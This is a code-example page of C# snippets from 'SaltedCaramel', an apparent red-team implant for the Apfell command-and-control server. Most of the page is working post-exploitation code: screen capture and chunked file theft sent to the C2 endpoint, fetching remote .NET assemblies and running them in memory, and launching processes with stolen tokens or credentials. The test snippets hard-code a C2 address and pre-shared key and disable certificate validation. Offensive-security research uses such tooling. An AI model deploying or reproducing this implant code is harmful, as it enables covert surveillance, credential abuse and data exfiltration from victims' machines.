예제 #1
0
파일: Jobs.cs 프로젝트: gavz/SaltedCaramel
 public static void Execute(SCTask task, SCImplant implant)
 {
     if (task.command == "jobs")
     {
         task.status  = "complete";
         task.message = JsonConvert.SerializeObject(implant.jobs);
     }
     else if (task.command == "jobkill")
     {
         Thread t;
         foreach (Job j in implant.jobs)
         {
             if (j.shortId == Convert.ToInt32(task.@params))
             {
                 t = j.thread;
                 try
                 {
                     t.Abort();
                     task.status  = "complete";
                     task.message = $"Killed job {j.shortId}";
                 }
                 catch (Exception e)
                 {
                     task.status  = "error";
                     task.message = $"Error stopping job {j.shortId}: {e.Message}";
                 }
             }
         }
     }
 }
예제 #2
0
        public void InitializeImplantValid()
        {
            // Necessary to disable certificate validation
            ServicePointManager.ServerCertificateValidationCallback =
                delegate { return(true); };


            implant = new SCImplant
            {
                uuid     = "3915d66f-e9a5-4912-8442-910e0cee74df",
                endpoint = "https://192.168.38.192/api/v1.3/",
                host     = Dns.GetHostName(),
                ip       = Dns.GetHostEntry(Dns.GetHostName()) // Necessary because the host may have more than one interface
                           .AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString(),
                domain       = Environment.UserDomainName,
                os           = Environment.OSVersion.VersionString,
                architecture = "x64",
                pid          = Process.GetCurrentProcess().Id,
                sleep        = 5000,
                user         = Environment.UserName,
            };

            HTTP.crypto.PSK = Convert.FromBase64String("CqxQlHyWOSWJprgBA6aiKPP94lCSn8+Ki+gpMVdLNgQ=");

            Assert.IsTrue(implant.InitializeImplant());
        }
예제 #3
0
        // Same workflow as sending a file to Apfell server, but we only use one chunk
        private static void SendCapture(SCImplant implant, SCTask task, byte[] screenshot)
        {
            try // Try block for HTTP request
            {
                // Send total number of chunks to Apfell server
                // Number of chunks will always be one for screen capture task
                // Receive file ID in response
                SCTaskResp    initial = new SCTaskResp(task.id, "{\"total_chunks\": " + 1 + ", \"task\":\"" + task.id + "\"}");
                DownloadReply reply   = JsonConvert.DeserializeObject <DownloadReply>(implant.PostResponse(initial));
                Debug.WriteLine($"[-] SendCapture - Received reply, file ID: " + reply.file_id);

                // Convert chunk to base64 blob and create our FileChunk
                FileChunk fc = new FileChunk();
                fc.chunk_num  = 1;
                fc.file_id    = reply.file_id;
                fc.chunk_data = Convert.ToBase64String(screenshot);

                // Send our FileChunk to Apfell server
                // Receive status in response
                SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fc));
                Debug.WriteLine($"[+] SendCapture - CHUNK SENT: {fc.chunk_num}");
                string postReply = implant.PostResponse(response);
                Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.PostResponse(response)}");

                // Tell the Apfell server file transfer is done
                implant.SendComplete(task.id);
            }
            catch (Exception e) // Catch exceptions from HTTP requests
            {
                // Something failed, so we need to tell the server about it
                task.status  = "error";
                task.message = e.Message;
            }
        }
예제 #4
0
        public static void Execute(SCTask task, SCImplant implant)
        {
            string path = task.@params;
            SharpSploitResultList <Host.FileSystemEntryResult> list;

            try
            {
                if (path != "")
                {
                    list = Host.GetDirectoryListing(path);
                }
                else
                {
                    list = Host.GetDirectoryListing();
                }

                List <Dictionary <string, string> > fileList = new List <Dictionary <string, string> >();

                foreach (Host.FileSystemEntryResult item in list)
                {
                    FileInfo f = new FileInfo(item.Name);
                    Dictionary <string, string> infoDict = new Dictionary <string, string>();
                    try
                    {
                        infoDict.Add("size", f.Length.ToString());
                        infoDict.Add("type", "file");
                        infoDict.Add("name", f.Name);
                        fileList.Add(infoDict);
                    }
                    catch
                    {
                        infoDict.Add("size", "0");
                        infoDict.Add("type", "dir");
                        infoDict.Add("name", item.Name);
                        fileList.Add(infoDict);
                    }
                }

                SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fileList));
                implant.PostResponse(response);
                implant.SendComplete(task.id);
                task.status  = "complete";
                task.message = fileList.ToString();
            }
            catch (DirectoryNotFoundException)
            {
                Debug.WriteLine($"[!] DirectoryList - ERROR: Directory not found: {path}");
                implant.SendError(task.id, "Error: Directory not found.");
                task.status  = "error";
                task.message = "Directory not found.";
            }
            catch (Exception e)
            {
                Debug.WriteLine($"DirectoryList - ERROR: {e.Message}");
                implant.SendError(task.id, $"Error: {e.Message}");
                task.status  = "error";
                task.message = e.Message;
            }
        }
예제 #5
0
 public static void Execute(SCTask task, SCImplant implant)
 {
     try
     {
         implant.SendComplete(task.id);
     }
     catch (Exception e)
     {
         implant.SendError(task.id, e.Message);
     }
     Environment.Exit(0);
 }
예제 #6
0
파일: Proc.cs 프로젝트: gavz/SaltedCaramel
        /// <summary>
        /// Start a process using explicit credentials
        /// </summary>
        /// <param name="task"></param>
        /// <param name="implant"></param>
        /// <param name="Credentials"></param>
        public static void StartProcessWithCreds(SCTask task, SCImplant implant)
        {
            string[]         split     = [email protected]().Split(' ');
            string           argString = string.Join(" ", split.Skip(1).ToArray());
            ProcessStartInfo startInfo = new ProcessStartInfo
            {
                FileName               = split[0],
                Arguments              = argString,
                WorkingDirectory       = "C:\\Temp",
                UseShellExecute        = false,
                RedirectStandardOutput = true, // Ensure we get standard output
                CreateNoWindow         = true, // Don't create a new window
                Domain   = Token.Cred.Domain,
                UserName = Token.Cred.User,
                Password = Token.Cred.SecurePassword
            };

            using (Process proc = new Process())
            {
                proc.StartInfo = startInfo;

                try
                {
                    Debug.WriteLine("[-] DispatchTask -> StartProcessWithCreds - Tasked to start process " + startInfo.FileName);
                    proc.Start();

                    List <string> procOutput = new List <string>();
                    SCTaskResp    response;

                    while (!proc.StandardOutput.EndOfStream)
                    {
                        string line = proc.StandardOutput.ReadLine();
                        procOutput.Add(line);
                        if (procOutput.Count >= 5)
                        {
                            response = new SCTaskResp(task.id, JsonConvert.SerializeObject(procOutput));
                            implant.PostResponse(response);
                            procOutput.Clear();
                        }
                    }

                    proc.WaitForExit();
                    task.status  = "complete";
                    task.message = JsonConvert.SerializeObject(procOutput);
                }
                catch (Exception e)
                {
                    Debug.WriteLine("[!] DispatchTask -> StartProcess - ERROR starting process: " + e.Message);
                    task.status  = "error";
                    task.message = e.Message;
                }
            }
        }
예제 #7
0
        public static void Execute(SCTask task, SCImplant implant)
        {
            JObject json    = (JObject)JsonConvert.DeserializeObject(task.@params);
            string  file_id = json.Value <string>("file_id");

            string[]            args          = json.Value <string[]>("args");
            byte[]              assemblyBytes = Upload.GetFile(file_id, implant);
            Reflection.Assembly assembly      = Reflection.Assembly.Load(assemblyBytes);
            string              result        = assembly.EntryPoint.Invoke(null, args).ToString();

            implant.PostResponse(new SCTaskResp(task.id, result));
            implant.SendComplete(task.id);
        }
예제 #8
0
        public static void Execute(SCTask task, SCImplant implant)
        {
            Rectangle bounds = Screen.GetBounds(Point.Empty);
            Bitmap    bm     = new Bitmap(bounds.Width, bounds.Height);
            Graphics  g      = Graphics.FromImage(bm);

            g.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);

            using (MemoryStream ms = new MemoryStream())
            {
                bm.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
                byte[] screenshot = ms.ToArray();

                SendCapture(implant, task, screenshot);
            }
        }
예제 #9
0
        public static void Execute(SCTask task, SCImplant implant)
        {
            JObject json     = (JObject)JsonConvert.DeserializeObject(task.@params);
            string  file_id  = json.Value <string>("file_id");
            string  filepath = json.Value <string>("remote_path");

            Debug.WriteLine("[-] Upload - Tasked to get file " + file_id);

            // If file exists, don't write file
            if (File.Exists(filepath))
            {
                Debug.WriteLine($"[!] Upload - ERROR: File exists: {filepath}");
                implant.SendError(task.id, "ERROR: File exists.");
            }
            else
            {
                // First we have to request the file from the server with a POST
                string fileEndpoint = implant.endpoint + "files/callback/" + implant.callbackId;
                try // Try block for HTTP request
                {
                    string payload = "{\"file_id\": \"" + file_id + "\"}";

                    string result = HTTP.Post(fileEndpoint, payload);
                    byte[] output = Convert.FromBase64String(result);
                    try // Try block for writing file to disk
                    {
                        // Write file to disk
                        File.WriteAllBytes(filepath, output);
                        implant.SendComplete(task.id);
                        Debug.WriteLine("[+] Upload - File written: " + filepath);
                    }
                    catch (Exception e) // Catch exceptions from file write
                    {
                        // Something failed, so we need to tell the server about it
                        implant.SendError(task.id, e.Message);
                        Debug.WriteLine("[!] Upload - ERROR: " + e.Message);
                    }
                }
                catch (Exception e) // Catch exceptions from HTTP request
                {
                    // Something failed, so we need to tell the server about it
                    implant.SendError(task.id, e.Message);
                    Debug.WriteLine("[!] Upload - ERROR: " + e.Message);
                }
            }
        }
예제 #10
0
        public static byte[] GetFile(string file_id, SCImplant implant)
        {
            byte[] bytes;
            string fileEndpoint = implant.endpoint + "files/callback/" + implant.callbackId;

            try
            {
                string payload = "{\"file_id\": \"" + file_id + "\"}";
                // Get response from server and decrypt
                string result = HTTP.Post(fileEndpoint, payload);
                bytes = Convert.FromBase64String(result);
                return(bytes);
            }
            catch
            {
                return(null);
            }
        }
예제 #11
0
파일: Proc.cs 프로젝트: gavz/SaltedCaramel
 // If we have a stolen token, we need to start a process with CreateProcessWithTokenW
 // Otherwise, we can use Process.Start
 public static void Execute(SCTask task, SCImplant implant)
 {
     if (implant.HasAlternateToken())
     {
         StartProcessWithToken(task, implant);
     }
     else if (implant.HasCredentials() && Token.Cred.NetOnly == false)
     {
         StartProcessWithCreds(task, implant);
     }
     else if (implant.HasCredentials() && Token.Cred.NetOnly == true)
     {
         StartProcessWithLogon(task, implant);
     }
     else
     {
         StartProcess(task, implant);
     }
 }
예제 #12
0
        public void InitializeImplantInvalidUUID()
        {
            // Necessary to disable certificate validation
            ServicePointManager.ServerCertificateValidationCallback =
                delegate { return(true); };

            SCImplant invalidImplant = new SCImplant
            {
                uuid     = "asdf",
                endpoint = "https://192.168.38.192/api/v1.3/",
                host     = Dns.GetHostName(),
                ip       = Dns.GetHostEntry(Dns.GetHostName()) // Necessary because the host may have more than one interface
                           .AddressList.FirstOrDefault(ip => ip.AddressFamily == AddressFamily.InterNetwork).ToString(),
                domain       = Environment.UserDomainName,
                os           = Environment.OSVersion.VersionString,
                architecture = "x64",
                pid          = Process.GetCurrentProcess().Id,
                sleep        = 5000,
                user         = Environment.UserName
            };

            Assert.IsFalse(invalidImplant.InitializeImplant());
        }
예제 #13
0
        public static void Execute(SCTask task, SCImplant implant)
        {
            string filepath = task.@params;

            try // Try block for file upload task
            {
                // Get file info to determine file size
                FileInfo fileInfo = new FileInfo(filepath);
                long     size     = fileInfo.Length;
                Debug.WriteLine($"[+] Download - DOWNLOADING: {filepath}, {size} bytes");

                // Determine number of 512kb chunks to send
                long total_chunks = size / 512000;
                // HACK: Dumb workaround because longs don't have a ceiling operation
                if (total_chunks == 0)
                {
                    total_chunks = 1;
                }
                Debug.WriteLine($"[+] Download - File size = {size} ({total_chunks} chunks)");

                // Send number of chunks associated with task to Apfell server
                // Response will have the file ID to send file with
                SCTaskResp    initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}");
                DownloadReply reply   = JsonConvert.DeserializeObject <DownloadReply>(implant.PostResponse(initial));
                Debug.WriteLine($"[-] Download - Received reply, file ID: " + reply.file_id);


                // Send file in chunks
                for (int i = 0; i < total_chunks; i++)
                {
                    byte[] chunk = null;
                    long   pos   = i * 512000;

                    // We need to use a FileStream in case our file size in bytes is larger than an Int32
                    // With a filestream, we can specify a position as a long, and then use Read() normally
                    using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                    {
                        fs.Position = pos;

                        // If this is the last chunk, size will be the remaining bytes
                        if (i == total_chunks - 1)
                        {
                            chunk = new byte[size - (i * 512000)];
                            int chunkSize = chunk.Length;
                            fs.Read(chunk, 0, chunkSize);
                        }
                        // Otherwise we'll read 512kb from the file
                        else
                        {
                            chunk = new byte[512000];
                            fs.Read(chunk, 0, 512000);
                        }
                    }

                    // Convert chunk to base64 blob and create our FileChunk
                    FileChunk fc = new FileChunk();
                    fc.chunk_num  = i;
                    fc.file_id    = reply.file_id;
                    fc.chunk_data = Convert.ToBase64String(chunk);

                    // Send our FileChunk to Apfell server
                    SCTaskResp response = new SCTaskResp(task.id, JsonConvert.SerializeObject(fc));
                    Debug.WriteLine($"[+] Download - CHUNK SENT: {fc.chunk_num}");
                    Debug.WriteLine($"[-] Download - RESPONSE: {implant.PostResponse(response)}");
                    // Make sure we respect the sleep setting
                    Thread.Sleep(implant.sleep);
                }

                // Tell the Apfell server file transfer is done
                implant.SendComplete(task.id);
                Debug.WriteLine($"[+] Download - File transfer complete: {filepath}");
            }
            catch (Exception e) // Catch any exception from file upload
            {
                // Something failed, so we need to tell the server about it
                task.status  = "error";
                task.message = e.Message;
            }
        }
예제 #14
0
파일: Proc.cs 프로젝트: gavz/SaltedCaramel
        /// <summary>
        /// Start a process using a stolen token
        /// C#'s System.Diagnostics.Process doesn't respect a WindowsImpersonationContext so we have to use CreateProcessWithTokenW
        /// </summary>
        /// <param name="task"></param>
        /// <param name="implant"></param>
        /// <param name="TokenHandle"></param>
        public static void StartProcessWithToken(SCTask task, SCImplant implant)
        {
            string[] split;
            string   argString;
            string   file;

            if (task.command == "shell")
            {
                split     = [email protected]().Split(' ');
                argString = string.Join(" ", split);
                file      = "cmd /c";
            }
            else
            {
                split     = [email protected]().Split(' ');
                argString = string.Join(" ", split.Skip(1).ToArray());
                file      = split[0];
            }

            // STARTUPINFO is used to control a few startup options for our new process
            Win32.Advapi32.STARTUPINFO startupInfo = new Win32.Advapi32.STARTUPINFO();
            // Use C:\Temp as directory to ensure that we have rights to start our new process
            // TODO: determine if this is safe to change
            string directory = "C:\\Temp";

            // Set security on anonymous pipe to allow any user to access
            PipeSecurity sec = new PipeSecurity();

            sec.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));


            // TODO: Use anonymous pipes instead of named pipes
            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 1024, sec))
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString()))
                {
                    try
                    {
                        startupInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
                        startupInfo.hStdError  = pipeClient.SafePipeHandle.DangerousGetHandle();
                        // STARTF_USESTDHANDLES ensures that the process will respect hStdInput/hStdOutput
                        // STARTF_USESHOWWINDOW ensures that the process will respect wShowWindow
                        startupInfo.dwFlags     = (uint)Win32.Advapi32.STARTF.STARTF_USESTDHANDLES | (uint)Win32.Advapi32.STARTF.STARTF_USESHOWWINDOW;
                        startupInfo.wShowWindow = 0;

                        // Create PROCESS_INFORMATION struct to hold info about the process we're going to start
                        Win32.Advapi32.PROCESS_INFORMATION newProc = new Win32.Advapi32.PROCESS_INFORMATION();

                        // Finally, create our new process
                        bool createProcess = Win32.Advapi32.CreateProcessWithTokenW(
                            Token.stolenHandle,     // hToken
                            IntPtr.Zero,            // dwLogonFlags
                            null,                   // lpApplicationName
                            file + " " + argString, // lpCommandLineName
                            IntPtr.Zero,            // dwCreationFlags
                            IntPtr.Zero,            // lpEnvironment
                            directory,              // lpCurrentDirectory
                            ref startupInfo,        // lpStartupInfo
                            out newProc);           // lpProcessInformation

                        Thread.Sleep(100);          // Something weird is happening if the process exits before we can capture output

                        if (createProcess)          // Process started successfully
                        {
                            Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Created process with PID " + newProc.dwProcessId);
                            SCTaskResp procStatus = new SCTaskResp(task.id, "Created process with PID " + newProc.dwProcessId);
                            implant.PostResponse(procStatus);
                            // Trying to continuously read output while the process is running.
                            using (StreamReader reader = new StreamReader(pipeServer))
                            {
                                SCTaskResp    response;
                                string        message = null;
                                List <string> output  = new List <string>();

                                try
                                {
                                    Process proc = Process.GetProcessById(newProc.dwProcessId); // We can use Process.HasExited() with this object

                                    while (!proc.HasExited)
                                    {
                                        // Will sometimes hang on ReadLine() for some reason, not sure why
                                        // Workaround for this is to time out if we don't get a result in ten seconds
                                        Action action = () =>
                                        {
                                            try
                                            {
                                                message = reader.ReadLine();
                                            }
                                            catch
                                            {
                                                // Fail silently if reader no longer exists
                                                // May happen if long running job times out?
                                            }
                                        };
                                        IAsyncResult result = action.BeginInvoke(null, null);
                                        if (result.AsyncWaitHandle.WaitOne(300000))
                                        {
                                            if (message != "" && message != null)
                                            {
                                                output.Add(message);
                                                if (output.Count >= 5) // Wait until we have five lines to send
                                                {
                                                    response = new SCTaskResp(task.id, JsonConvert.SerializeObject(output));
                                                    implant.PostResponse(response);
                                                    output.Clear();
                                                    Thread.Sleep(implant.sleep);
                                                }
                                            }
                                        }
                                        else
                                        {
                                            throw new Exception("Timed out while reading named pipe.");
                                        }
                                    }
                                }
                                catch (Exception e)
                                {
                                    // Sometimes process may exit before we get this object back
                                    if (e.Message == "Timed out while reading named pipe.") // We don't care about other exceptions
                                    {
                                        throw e;
                                    }
                                }

                                Debug.WriteLine("[+] DispatchTask -> StartProcessWithToken - Process with PID " + newProc.dwProcessId + " has exited");

                                pipeClient.Close();

                                while (reader.Peek() > 0)         // Check if there is still  data in the pipe
                                {
                                    message = reader.ReadToEnd(); // Ensure we get any output that we missed when loop ended
                                    foreach (string msg in message.Split(new[] { Environment.NewLine }, StringSplitOptions.None))
                                    {
                                        output.Add(msg);
                                    }
                                }
                                if (output.Count > 0)
                                {
                                    task.status = "complete";
                                    output.Add("Execution complete.");
                                    task.message = JsonConvert.SerializeObject(output);
                                    output.Clear();
                                }
                                else
                                {
                                    task.status  = "complete";
                                    task.message = "Execution complete.";
                                }
                            }

                            pipeServer.Close();
                        }
                        else
                        {
                            string errorMessage = Marshal.GetLastWin32Error().ToString();
                            Debug.WriteLine("[!] DispatchTask -> StartProcessWithToken - ERROR starting process: " + errorMessage);
                            pipeClient.Close();
                            pipeServer.Close();
                            task.status  = "error";
                            task.message = errorMessage;
                        }
                    }
                    catch (Exception e)
                    {
                        pipeClient.Close();
                        pipeServer.Close();
                        task.status  = "error";
                        task.message = e.Message;
                    }
                }
        }